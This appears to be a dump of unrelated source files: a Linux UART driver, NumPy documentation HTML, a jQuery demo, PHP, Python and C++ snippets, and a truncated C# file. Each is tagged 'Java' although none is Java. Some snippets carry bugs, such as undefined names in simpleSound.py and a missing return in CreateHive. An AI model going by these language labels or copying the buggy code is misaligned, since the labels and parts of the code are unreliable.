report CTS asserted when auto-CTS/RTS enabled */ if (offset == UART_MSR && d->last_mcr & UART_MCR_AFE) { value |= UART_MSR_CTS; value &= ~UART_MSR_DCTS; } return value; } static void dw8250_force_idle(struct uart_port *p) { serial8250_clear_and_reinit_fifos(container_of (p, struct uart_8250_port, port)); (void)p->serial_in(p, UART_RX); } static void dw8250_serial_out(struct uart_port *p, int offset, int value) { struct dw8250_data *d = p->private_data; if (offset == UART_MCR) d->last_mcr = value; writeb(value, p->membase + (offset << p->regshift)); /* Make sure LCR write wasn't ignored */ if (offset == UART_LCR) { int tries = 1000; while (tries--) { unsigned int lcr = p->serial_in(p, UART_LCR); if ((value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR)) return; dw8250_force_idle(p); writeb(value, p->membase + (UART_LCR << p->regshift)); } dev_err(p->dev, "Couldn't set LCR to %d\n", value); } } static unsigned int dw8250_serial_in(struct uart_port *p, int offset) { unsigned int value = readb(p->membase + (offset << p->regshift)); return dw8250_modify_msr(p, offset, value); } /* Read Back (rb) version to ensure register access ording. */ static void dw8250_serial_out_rb(struct uart_port *p, int offset, int value) { dw8250_serial_out(p, offset, value); dw8250_serial_in(p, UART_LCR); } static void dw8250_serial_out32(struct uart_port *p, int offset, int value) { struct dw8250_data *d = p->private_data; if (offset == UART_MCR) d->last_mcr = value; writel(value, p->membase + (offset << p->regshift)); /* Make sure LCR write wasn't ignored */ if (offset == UART_LCR) { int tries = 1000; while (tries--) { unsigned int lcr = p->serial_in(p, UART_LCR); if ((value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR)) return; dw8250_force_idle(p); writel(value, p->membase + (UART_LCR << p->regshift)); } dev_err(p->dev, "Couldn't set LCR to %d\n", value); } } static unsigned int dw8250_serial_in32(struct uart_port *p, int offset) { unsigned int value = readl(p->membase + (offset << p->regshift)); return dw8250_modify_msr(p, offset, value); } static int dw8250_handle_irq(struct uart_port *p) { struct dw8250_data *d = p->private_data; unsigned int iir = p->serial_in(p, UART_IIR); if (serial8250_handle_irq(p, iir)) { return 1; } else if ((iir & UART_IIR_BUSY) == UART_IIR_BUSY) { /* Clear the USR */ (void)p->serial_in(p, d->usr_reg); return 1; } return 0; } static void dw8250_do_pm(struct uart_port *port, unsigned int state, unsigned int old) { if (!state) pm_runtime_get_sync(port->dev); serial8250_do_pm(port, state, old); if (state) pm_runtime_put_sync_suspend(port->dev); } static bool dw8250_dma_filter(struct dma_chan *chan, void *param) { struct dw8250_data *data = param; return chan->chan_id == data->dma.tx_chan_id || chan->chan_id == data->dma.rx_chan_id; } static void dw8250_setup_port(struct uart_8250_port *up) { struct uart_port *p = &up->port; u32 reg = readl(p->membase + DW_UART_UCV); /* * If the Component Version Register returns zero, we know that * ADDITIONAL_FEATURES are not enabled. No need to go any further. */ if (!reg) return; dev_dbg_ratelimited(p->dev, "Designware UART version %c.%c%c\n", (reg >> 24) & 0xff, (reg >> 16) & 0xff, (reg >> 8) & 0xff); reg = readl(p->membase + DW_UART_CPR); if (!reg) return; /* Select the type based on fifo */ if (reg & DW_UART_CPR_FIFO_MODE) { p->type = PORT_16550A; p->flags |= UPF_FIXED_TYPE; p->fifosize = DW_UART_CPR_FIFO_SIZE(reg); up->tx_loadsz = p->fifosize; up->capabilities = UART_CAP_FIFO; } if (reg & DW_UART_CPR_AFCE_MODE) up->capabilities |= UART_CAP_AFE; } static int dw8250_probe_of(struct uart_port *p, struct dw8250_data *data) { struct device_node *np = p->dev->of_node; u32 val; bool has_ucv = true; if (of_device_is_compatible(np, "cavium,octeon-3860-uart")) { #ifdef __BIG_ENDIAN /* * Low order bits of these 64-bit registers, when * accessed as a byte, are 7 bytes further down in the * address space in big endian mode. */ p->membase += 7; #endif p->serial_out = dw8250_serial_out_rb; p->flags = ASYNC_SKIP_TEST | UPF_SHARE_IRQ | UPF_FIXED_TYPE; p->type = PORT_OCTEON; data->usr_reg = 0x27; has_ucv = false; } else if (!of_property_read_u32(np, "reg-io-width", &val)) { switch (val) { case 1: break; case 4: p->iotype = UPIO_MEM32; p->serial_in = dw8250_serial_in32; p->serial_out = dw8250_serial_out32; break; default: dev_err(p->dev, "unsupported reg-io-width (%u)\n", val); return -EINVAL; } } if (has_ucv) dw8250_setup_port(container_of(p, struct uart_8250_port, port)); if (!of_property_read_u32(np, "reg-shift", &val)) p->regshift = val; data->rst = devm_reset_control_get_optional(p->dev, NULL); /* clock got configured through clk api, all done */ if (p->uartclk) return 0; /* try to find out clock frequency from DT as fallback */ if (of_property_read_u32(np, "clock-frequency", &val)) { dev_err(p->dev, "clk or clock-frequency not defined\n"); return -EINVAL; } p->uartclk = val; return 0; } static int dw8250_probe_acpi(struct uart_8250_port *up, struct dw8250_data *data) { const struct acpi_device_id *id; struct uart_port *p = &up->port; dw8250_setup_port(up); id = acpi_match_device(p->dev->driver->acpi_match_table, p->dev); if (!id) return -ENODEV; p->iotype = UPIO_MEM32; p->serial_in = dw8250_serial_in32; p->serial_out = dw8250_serial_out32; p->regshift = 2; if (!p->uartclk) p->uartclk = (unsigned int)id->driver_data; up->dma = &data->dma; up->dma->rxconf.src_maxburst = p->fifosize / 4; up->dma->txconf.dst_maxburst = p->fifosize / 4; return 0; } static int dw8250_probe(struct platform_device *pdev) { struct uart_8250_port uart = {}; struct resource *regs = platform_get_resource(pdev, IORESOURCE_MEM, 0); struct resource *irq = platform_get_resource(pdev, IORESOURCE_IRQ, 0); struct dw8250_data *data; int err; if (!regs || !irq) { dev_err(&pdev->dev, "no registers/irq defined\n"); return -EINVAL; } spin_lock_init(&uart.port.lock); uart.port.mapbase = regs->start; uart.port.irq = irq->start; uart.port.handle_irq = dw8250_handle_irq; uart.port.pm = dw8250_do_pm; uart.port.type = PORT_8250; uart.port.flags = UPF_SHARE_IRQ | UPF_BOOT_AUTOCONF | UPF_FIXED_PORT; uart.port.dev = &pdev->dev; uart.port.membase = devm_ioremap(&pdev->dev, regs->start, resource_size(regs)); if (!uart.port.membase) return -ENOMEM; data = devm_kzalloc(&pdev->dev, sizeof(*data), GFP_KERNEL); if (!data) return -ENOMEM; data->usr_reg = DW_UART_USR; data->clk = devm_clk_get(&pdev->dev, NULL); if (!IS_ERR(data->clk)) { clk_prepare_enable(data->clk); uart.port.uartclk = clk_get_rate(data->clk); } data->dma.rx_chan_id = -1; data->dma.tx_chan_id = -1; data->dma.rx_param = data; data->dma.tx_param = data; data->dma.fn = dw8250_dma_filter; uart.port.iotype = UPIO_MEM; uart.port.serial_in = dw8250_serial_in; uart.port.serial_out = dw8250_serial_out; uart.port.private_data = data; if (pdev->dev.of_node) { err = dw8250_probe_of(&uart.port, data); if (err) return err; } else if (ACPI_HANDLE(&pdev->dev)) { err = dw8250_probe_acpi(&uart, data); if (err) return err; } else { return -ENODEV; } if (!IS_ERR_OR_NULL(data->rst)) reset_control_deassert(data->rst); data->line = serial8250_register_8250_port(&uart); if (data->line < 0) return data->line; platform_set_drvdata(pdev, data); pm_runtime_set_active(&pdev->dev); pm_runtime_enable(&pdev->dev); return 0; } static int dw8250_remove(struct platform_device *pdev) { struct dw8250_data *data = platform_get_drvdata(pdev); pm_runtime_get_sync(&pdev->dev); serial8250_unregister_port(data->line); if (!IS_ERR_OR_NULL(data->rst)) reset_control_assert(data->rst); if (!IS_ERR(data->clk)) clk_disable_unprepare(data->clk); pm_runtime_disable(&pdev->dev); pm_runtime_put_noidle(&pdev->dev); return 0; } #ifdef CONFIG_PM_SLEEP static int dw8250_suspend(struct device *dev) { struct dw8250_data *data = dev_get_drvdata(dev); serial8250_suspend_port(data->line); return 0; } static int dw8250_resume(struct device *dev) { struct dw8250_data *data = dev_get_drvdata(dev); serial8250_resume_port(data->line); return 0; } #endif /* CONFIG_PM_SLEEP */ #ifdef CONFIG_PM_RUNTIME static int dw8250_runtime_suspend(struct device *dev) { struct dw8250_data *data = dev_get_drvdata(dev); if (!IS_ERR(data->clk)) clk_disable_unprepare(data->clk); return 0; } static int dw8250_runtime_resume(struct device *dev) { struct dw8250_data *data = dev_get_drvdata(dev); if (!IS_ERR(data->clk)) clk_prepare_enable(data->clk); return 0; } #endif static const struct dev_pm_ops dw8250_pm_ops = { SET_SYSTEM_SLEEP_PM_OPS(dw8250_suspend, dw8250_resume) SET_RUNTIME_PM_OPS(dw8250_runtime_suspend, dw8250_runtime_resume, NULL) }; static const struct of_device_id dw8250_of_match[] = { { .compatible = "snps,dw-apb-uart" }, { .compatible = "cavium,octeon-3860-uart" }, { /* Sentinel */ } }; MODULE_DEVICE_TABLE(of, dw8250_of_match); static const struct acpi_device_id dw8250_acpi_match[] = { { "INT33C4", 0 }, { "INT33C5", 0 }, { "INT3434", 0 }, { "INT3435", 0 }, { "80860F0A", 0 }, { }, }; MODULE_DEVICE_TABLE(acpi, dw8250_acpi_match); static struct platform_driver dw8250_platform_driver = { .driver = { .name = "dw-apb-uart", .owner = THIS_MODULE, .pm = &dw8250_pm_ops, .of_match_table = dw8250_of_match, .acpi_match_table = ACPI_PTR(dw8250_acpi_match), }, .probe = dw8250_probe, .remove = dw8250_remove, }; module_platform_driver(dw8250_platform_driver); MODULE_AUTHOR("Jamie Iles"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Synopsys DesignWare 8250 serial port driver");
Java
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>numpy.polynomial.laguerre.lagint &mdash; NumPy v1.10 Manual</title> <link rel="stylesheet" type="text/css" href="../../static_/css/spc-bootstrap.css"> <link rel="stylesheet" type="text/css" href="../../static_/css/spc-extend.css"> <link rel="stylesheet" href="../../static_/scipy.css" type="text/css" > <link rel="stylesheet" href="../../static_/pygments.css" type="text/css" > <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT: '../../', VERSION: '1.10.1', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: false }; </script> <script type="text/javascript" src="../../static_/jquery.js"></script> <script type="text/javascript" src="../../static_/underscore.js"></script> <script type="text/javascript" src="../../static_/doctools.js"></script> <script type="text/javascript" src="../../static_/js/copybutton.js"></script> <link rel="author" title="About these documents" href="../../about.html" > <link rel="top" title="NumPy v1.10 Manual" href="../../index.html" > <link rel="up" title="Laguerre Module (numpy.polynomial.laguerre)" href="../routines.polynomials.laguerre.html" > <link rel="next" title="numpy.polynomial.laguerre.lagadd" href="numpy.polynomial.laguerre.lagadd.html" > <link rel="prev" title="numpy.polynomial.laguerre.lagder" href="numpy.polynomial.laguerre.lagder.html" > </head> <body> <div class="container"> <div class="header"> </div> </div> <div class="container"> <div class="main"> <div class="row-fluid"> <div class="span12"> <div class="spc-navbar"> <ul class="nav nav-pills pull-left"> <li class="active"><a href="../../index.html">NumPy v1.10 Manual</a></li> <li class="active"><a href="../index.html" >NumPy Reference</a></li> <li class="active"><a href="../routines.html" >Routines</a></li> <li class="active"><a href="../routines.polynomials.html" >Polynomials</a></li> <li class="active"><a href="../routines.polynomials.package.html" >Polynomial Package</a></li> <li class="active"><a href="../routines.polynomials.laguerre.html" accesskey="U">Laguerre Module (<tt class="docutils literal"><span class="pre">numpy.polynomial.laguerre</span></tt>)</a></li> </ul> <ul class="nav nav-pills pull-right"> <li class="active"> <a href="../../genindex.html" title="General Index" accesskey="I">index</a> </li> <li class="active"> <a href="numpy.polynomial.laguerre.lagadd.html" title="numpy.polynomial.laguerre.lagadd" accesskey="N">next</a> </li> <li class="active"> <a href="numpy.polynomial.laguerre.lagder.html" title="numpy.polynomial.laguerre.lagder" accesskey="P">previous</a> </li> </ul> </div> </div> </div> <div class="row-fluid"> <div class="spc-rightsidebar span3"> <div class="sphinxsidebarwrapper"> <h4>Previous topic</h4> <p class="topless"><a href="numpy.polynomial.laguerre.lagder.html" title="previous chapter">numpy.polynomial.laguerre.lagder</a></p> <h4>Next topic</h4> <p class="topless"><a href="numpy.polynomial.laguerre.lagadd.html" title="next chapter">numpy.polynomial.laguerre.lagadd</a></p> </div> </div> <div class="span9"> <div class="bodywrapper"> <div class="body" id="spc-section-body"> <div class="section" id="numpy-polynomial-laguerre-lagint"> <h1>numpy.polynomial.laguerre.lagint<a class="headerlink" href="#numpy-polynomial-laguerre-lagint" title="Permalink to this headline">¶</a></h1> <dl class="function"> <dt id="numpy.polynomial.laguerre.lagint"> <tt class="descclassname">numpy.polynomial.laguerre.</tt><tt class="descname">lagint</tt><big>(</big><em>c</em>, <em>m=1</em>, <em>k=</em>, <span class="optional">[</span><span class="optional">]</span><em>lbnd=0</em>, <em>scl=1</em>, <em>axis=0</em><big>)</big><a class="reference external" href="http://github.com/numpy/numpy/blob/v1.10.1/numpy/polynomial/laguerre.py#L726-L850"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#numpy.polynomial.laguerre.lagint" title="Permalink to this definition">¶</a></dt> <dd><p>Integrate a Laguerre series.</p> <p>Returns the Laguerre series coefficients <em class="xref py py-obj">c</em> integrated <em class="xref py py-obj">m</em> times from <em class="xref py py-obj">lbnd</em> along <em class="xref py py-obj">axis</em>. At each iteration the resulting series is <strong>multiplied</strong> by <em class="xref py py-obj">scl</em> and an integration constant, <em class="xref py py-obj">k</em>, is added. The scaling factor is for use in a linear change of variable. (&#8220;Buyer beware&#8221;: note that, depending on what one is doing, one may want <em class="xref py py-obj">scl</em> to be the reciprocal of what one might expect; for more information, see the Notes section below.) The argument <em class="xref py py-obj">c</em> is an array of coefficients from low to high degree along each axis, e.g., [1,2,3] represents the series <tt class="docutils literal"><span class="pre">L_0</span> <span class="pre">+</span> <span class="pre">2*L_1</span> <span class="pre">+</span> <span class="pre">3*L_2</span></tt> while [[1,2],[1,2]] represents <tt class="docutils literal"><span class="pre">1*L_0(x)*L_0(y)</span> <span class="pre">+</span> <span class="pre">1*L_1(x)*L_0(y)</span> <span class="pre">+</span> <span class="pre">2*L_0(x)*L_1(y)</span> <span class="pre">+</span> <span class="pre">2*L_1(x)*L_1(y)</span></tt> if axis=0 is <tt class="docutils literal"><span class="pre">x</span></tt> and axis=1 is <tt class="docutils literal"><span class="pre">y</span></tt>.</p> <table class="docutils field-list" frame="void" rules="none"> <col class="field-name" /> <col class="field-body" /> <tbody valign="top"> <tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><p class="first"><strong>c</strong> : array_like</p> <blockquote> <div><p>Array of Laguerre series coefficients. If <em class="xref py py-obj">c</em> is multidimensional the different axis correspond to different variables with the degree in each axis given by the corresponding index.</p> </div></blockquote> <p><strong>m</strong> : int, optional</p> <blockquote> <div><p>Order of integration, must be positive. (Default: 1)</p> </div></blockquote> <p><strong>k</strong> : {[], list, scalar}, optional</p> <blockquote> <div><p>Integration constant(s). The value of the first integral at <tt class="docutils literal"><span class="pre">lbnd</span></tt> is the first value in the list, the value of the second integral at <tt class="docutils literal"><span class="pre">lbnd</span></tt> is the second value, etc. If <tt class="docutils literal"><span class="pre">k</span> <span class="pre">==</span> <span class="pre">[]</span></tt> (the default), all constants are set to zero. If <tt class="docutils literal"><span class="pre">m</span> <span class="pre">==</span> <span class="pre">1</span></tt>, a single scalar can be given instead of a list.</p> </div></blockquote> <p><strong>lbnd</strong> : scalar, optional</p> <blockquote> <div><p>The lower bound of the integral. (Default: 0)</p> </div></blockquote> <p><strong>scl</strong> : scalar, optional</p> <blockquote> <div><p>Following each integration the result is <em>multiplied</em> by <em class="xref py py-obj">scl</em> before the integration constant is added. (Default: 1)</p> </div></blockquote> <p><strong>axis</strong> : int, optional</p> <blockquote> <div><p>Axis over which the integral is taken. (Default: 0).</p> <div class="versionadded"> <p><span class="versionmodified">New in version 1.7.0.</span></p> </div> </div></blockquote> </td> </tr> <tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body"><p class="first"><strong>S</strong> : ndarray</p> <blockquote> <div><p>Laguerre series coefficients of the integral.</p> </div></blockquote> </td> </tr> <tr class="field-odd field"><th class="field-name">Raises:</th><td class="field-body"><p class="first"><strong>ValueError</strong></p> <blockquote class="last"> <div><p>If <tt class="docutils literal"><span class="pre">m</span> <span class="pre">&lt;</span> <span class="pre">0</span></tt>, <tt class="docutils literal"><span class="pre">len(k)</span> <span class="pre">&gt;</span> <span class="pre">m</span></tt>, <tt class="docutils literal"><span class="pre">np.isscalar(lbnd)</span> <span class="pre">==</span> <span class="pre">False</span></tt>, or <tt class="docutils literal"><span class="pre">np.isscalar(scl)</span> <span class="pre">==</span> <span class="pre">False</span></tt>.</p> </div></blockquote> </td> </tr> </tbody> </table> <div class="admonition seealso"> <p class="first admonition-title">See also</p> <p class="last"><a class="reference internal" href="numpy.polynomial.laguerre.lagder.html#numpy.polynomial.laguerre.lagder" title="numpy.polynomial.laguerre.lagder"><tt class="xref py py-obj docutils literal"><span class="pre">lagder</span></tt></a></p> </div> <p class="rubric">Notes</p> <p>Note that the result of each integration is <em>multiplied</em> by <em class="xref py py-obj">scl</em>. Why is this important to note? Say one is making a linear change of variable <img class="math" src="../../images_/math/0fd237ce10d293b0e64ed3fb4b45e59ad541a794.png" alt="u = ax + b" style="vertical-align: -1px"/> in an integral relative to <em class="xref py py-obj">x</em>. Then .. math::<em class="xref py py-obj">dx = du/a</em>, so one will need to set <em class="xref py py-obj">scl</em> equal to <img class="math" src="../../images_/math/991aa4b1f8dc7e87dc834a2b161a376e1b0d1e7e.png" alt="1/a" style="vertical-align: -4px"/> - perhaps not what one would have first thought.</p> <p>Also note that, in general, the result of integrating a C-series needs to be &#8220;reprojected&#8221; onto the C-series basis set. Thus, typically, the result of this function is &#8220;unintuitive,&#8221; albeit correct; see Examples section below.</p> <p class="rubric">Examples</p> <div class="highlight-python"><div class="highlight"><pre><span class="gp">&gt;&gt;&gt; </span><span class="kn">from</span> <span class="nn">numpy.polynomial.laguerre</span> <span class="kn">import</span> <span class="n">lagint</span> <span class="gp">&gt;&gt;&gt; </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">])</span> <span class="go">array([ 1., 1., 1., -3.])</span> <span class="gp">&gt;&gt;&gt; </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span> <span class="n">m</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span> <span class="go">array([ 1., 0., 0., -4., 3.])</span> <span class="gp">&gt;&gt;&gt; </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span> <span class="n">k</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="go">array([ 2., 1., 1., -3.])</span> <span class="gp">&gt;&gt;&gt; </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span> <span class="n">lbnd</span><span class="o">=-</span><span class="mi">1</span><span class="p">)</span> <span class="go">array([ 11.5, 1. , 1. , -3. ])</span> <span class="gp">&gt;&gt;&gt; </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">],</span> <span class="n">m</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span> <span class="n">k</span><span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">],</span> <span class="n">lbnd</span><span class="o">=-</span><span class="mi">1</span><span class="p">)</span> <span class="go">array([ 11.16666667, -5. , -3. , 2. ])</span> </pre></div> </div> </dd></dl> </div> </div> </div> </div> </div> </div> </div> <div class="container container-navbar-bottom"> <div class="spc-navbar"> </div> </div> <div class="container"> <div class="footer"> <div class="row-fluid"> <ul class="inline pull-left"> <li> &copy; Copyright 2008-2009, The Scipy community. </li> <li> Last updated on Oct 18, 2015. </li> <li> Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.2.1. </li> </ul> </div> </div> </div> </body> </html>
Java
<!DOCTYPE html> <html> <!-- Mirrored from www.w3schools.com/jquery/tryjquery_event_unbind.htm by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:36:08 GMT --> <head> <script src="../../ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script> <script> $(document).ready(function(){ $("p").click(function(){ $(this).slideToggle(); }); $("button").click(function(){ $("p").unbind(); }); }); </script> </head> <body> <p>This is a paragraph.</p> <p>This is another paragraph.</p> <p>Click any p element to make it disappear.</p> <button>Remove all event handlers for all p elements</button> </body> <!-- Mirrored from www.w3schools.com/jquery/tryjquery_event_unbind.htm by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:36:08 GMT --> </html>
Java
<?php /* * This file is part of the Eventum (Issue Tracking System) package. * * @copyright (c) Eventum Team * @license GNU General Public License, version 2 or later (GPL-2+) * * For the full copyright and license information, * please see the COPYING and AUTHORS files * that were distributed with this source code. */ namespace Eventum\Controller; use Auth; use AuthCookie; use Eventum\Controller\Helper\MessagesHelper; use Setup; use User; class SignupController extends BaseController { /** @var string */ protected $tpl_name = 'signup.tpl.html'; /** @var string */ private $cat; /** * {@inheritdoc} */ protected function configure() { $request = $this->getRequest(); $this->cat = $request->request->get('cat'); } /** * {@inheritdoc} */ protected function canAccess() { // log anonymous users out so they can use the signup form if (AuthCookie::hasAuthCookie() && Auth::isAnonUser()) { Auth::logout(); } return true; } /** * {@inheritdoc} */ protected function defaultAction() { if ($this->cat == 'signup') { $this->createVisitorAccountAction(); } } private function createVisitorAccountAction() { $setup = Setup::get(); if ($setup['open_signup'] != 'enabled') { $error = ev_gettext('Sorry, but this feature has been disabled by the administrator.'); $this->error($error); } $res = User::createVisitorAccount($setup['accounts_role'], $setup['accounts_projects']); $this->tpl->assign('signup_result', $res); // TODO: translate $map = [ 1 => ['Thank you, your account creation request was processed successfully. For security reasons a confirmation email was sent to the provided email address with instructions on how to confirm your request and activate your account.', MessagesHelper::MSG_INFO], -1 => ['Error: An error occurred while trying to run your query.', MessagesHelper::MSG_ERROR], -2 => ['Error: The email address specified is already associated with an user in the system.', MessagesHelper::MSG_ERROR], ]; $this->messages->mapMessages($res, $map); } /** * {@inheritdoc} */ protected function prepareTemplate() { } }
Java
# simpleSound.py # Plays audio files on Linux and Windows. # Written Jan-2008 by Timothy Weber. # Based on (reconstituted) code posted by Bill Dandreta at <http://www.velocityreviews.com/forums/t337346-how-to-play-sound-in-python.html>. import platform if platform.system().startswith('Win'): from winsound import PlaySound, SND_FILENAME, SND_ASYNC elif platform.system().startswith('Linux'): from wave import open as waveOpen from ossaudiodev import open as ossOpen try: from ossaudiodev import AFMT_S16_NE except ImportError: if byteorder == "little": AFMT_S16_NE = ossaudiodev.AFMT_S16_LE else: AFMT_S16_NE = ossaudiodev.AFMT_S16_BE def Play(filename): """Plays the sound in the given filename, asynchronously.""" if platform.system().startswith('Win'): PlaySound(filename, SND_FILENAME|SND_ASYNC) elif platform.system().startswith('Linux'): try: s = waveOpen(filename,'rb') (nc,sw,fr,nf,comptype, compname) = s.getparams( ) dsp = ossOpen('/dev/dsp','w') dsp.setparameters(AFMT_S16_NE, nc, fr) data = s.readframes(nf) s.close() dsp.write(data) dsp.close() except: pass
Java
# -*- coding: utf-8 -*- # Copyright 2011 Christoph Reiter <reiter.christoph@gmail.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. import os import sys if os.name == "nt" or sys.platform == "darwin": from quodlibet.plugins import PluginNotSupportedError raise PluginNotSupportedError import dbus from quodlibet import _ from quodlibet import app from quodlibet.qltk import Icons from quodlibet.plugins.events import EventPlugin def get_toplevel_xid(): if app.window.get_window(): try: return app.window.get_window().get_xid() except AttributeError: # non x11 pass return 0 class InhibitFlags(object): LOGOUT = 1 USERSWITCH = 1 << 1 SUSPEND = 1 << 2 IDLE = 1 << 3 class SessionInhibit(EventPlugin): PLUGIN_ID = "screensaver_inhibit" PLUGIN_NAME = _("Inhibit Screensaver") PLUGIN_DESC = _("Prevents the GNOME screensaver from activating while" " a song is playing.") PLUGIN_ICON = Icons.PREFERENCES_DESKTOP_SCREENSAVER DBUS_NAME = "org.gnome.SessionManager" DBUS_INTERFACE = "org.gnome.SessionManager" DBUS_PATH = "/org/gnome/SessionManager" APPLICATION_ID = "quodlibet" INHIBIT_REASON = _("Music is playing") __cookie = None def enabled(self): if not app.player.paused: self.plugin_on_unpaused() def disabled(self): if not app.player.paused: self.plugin_on_paused() def plugin_on_unpaused(self): xid = dbus.UInt32(get_toplevel_xid()) flags = dbus.UInt32(InhibitFlags.IDLE) try: bus = dbus.SessionBus() obj = bus.get_object(self.DBUS_NAME, self.DBUS_PATH) iface = dbus.Interface(obj, self.DBUS_INTERFACE) self.__cookie = iface.Inhibit( self.APPLICATION_ID, xid, self.INHIBIT_REASON, flags) except dbus.DBusException: pass def plugin_on_paused(self): if self.__cookie is None: return try: bus = dbus.SessionBus() obj = bus.get_object(self.DBUS_NAME, self.DBUS_PATH) iface = dbus.Interface(obj, self.DBUS_INTERFACE) iface.Uninhibit(self.__cookie) self.__cookie = None except dbus.DBusException: pass
Java
#include "../ProtocolCommand.h" //#include <sqlite3.h> using namespace org::esb::net; using namespace org::esb::hive; using namespace std; class CreateHive:public ProtocolCommand { private: Socket * socket; public: ~CreateHive () { } CreateHive (TcpSocket * socket) { this->socket = socket; this->is = socket->getInputStream (); this->os = socket->getOutputStream (); } CreateHive (InputStream * is, OutputStream * os) { this->is = is; this->os = os; } int isResponsible (cmdId & cmid) { } int isResponsible (char *command) { if (strstr (command, "create hive") > 0) { return CMD_PROCESS; } else if (strcmp (command, "help") == 0) { return CMD_HELP; } return CMD_NA; } void process (char *data) { string msg = "Creating Hive at "; string path = data + 12; msg += path; os->write ((char *) msg.c_str (), msg.length ()); string tableFile = "CREATE TABLE FILE (id, name, size, type)"; string tablePacket = "CREATE TABLE PACKET (id,pts,dts,stream_index,flags,duration,pos,data_size,data)"; string tableJob = "CREATE TABLE JOB(id,infile,outfile)"; sqlite3 *db; sqlite3_stmt *pStmt; char *zErrMsg = 0; int rc = sqlite3_open (path.c_str (), &db); if (rc) { fprintf (stderr, "Can't open database: %s\n", sqlite3_errmsg (db)); sqlite3_close (db); return; } sqlite3_exec (db, tableFile.c_str (), NULL, NULL, NULL); sqlite3_exec (db, tablePacket.c_str (), NULL, NULL, NULL); sqlite3_exec (db, tableJob.c_str (), NULL, NULL, NULL); } void printHelp () { } };
Java
<?php namespace SimpleCalendar\plugin_deps; /** * This file is part of the Carbon package. * * (c) Brian Nesbitt <brian@nesbot.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ /* * Unknown default region, use the first alphabetically. */ return require __DIR__ . '/sgs_LT.php';
Java
using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Linq; using System.Net.Http.Headers; using System.Web.Http; using System.Web.Http.Description; using Sudoku.Areas.HelpPage.Models; namespace Sudoku.Areas.HelpPage { public static class HelpPageConfigurationExtensions { private const string ApiModelPrefix = "MS_HelpPageApiModel_"; /// <summary> /// Sets the documentation provider for help page. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="documentationProvider">The documentation provider.</param> public static void SetDocumentationProvider(this HttpConfiguration config, IDocumentationProvider documentationProvider) { config.Services.Replace(typeof(IDocumentationProvider), documentationProvider); } /// <summary> /// Sets the objects that will be used by the formatters to produce sample requests/responses. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sampleObjects">The sample objects.</param> public static void SetSampleObjects(this HttpConfiguration config, IDictionary<Type, object> sampleObjects) { config.GetHelpPageSampleGenerator().SampleObjects = sampleObjects; } /// <summary> /// Sets the sample request directly for the specified media type and action. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample request.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, new[] { "*" }), sample); } /// <summary> /// Sets the sample request directly for the specified media type and action with parameters. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample request.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, parameterNames), sample); } /// <summary> /// Sets the sample request directly for the specified media type of the action. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample response.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, new[] { "*" }), sample); } /// <summary> /// Sets the sample response directly for the specified media type of the action with specific parameters. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample response.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the 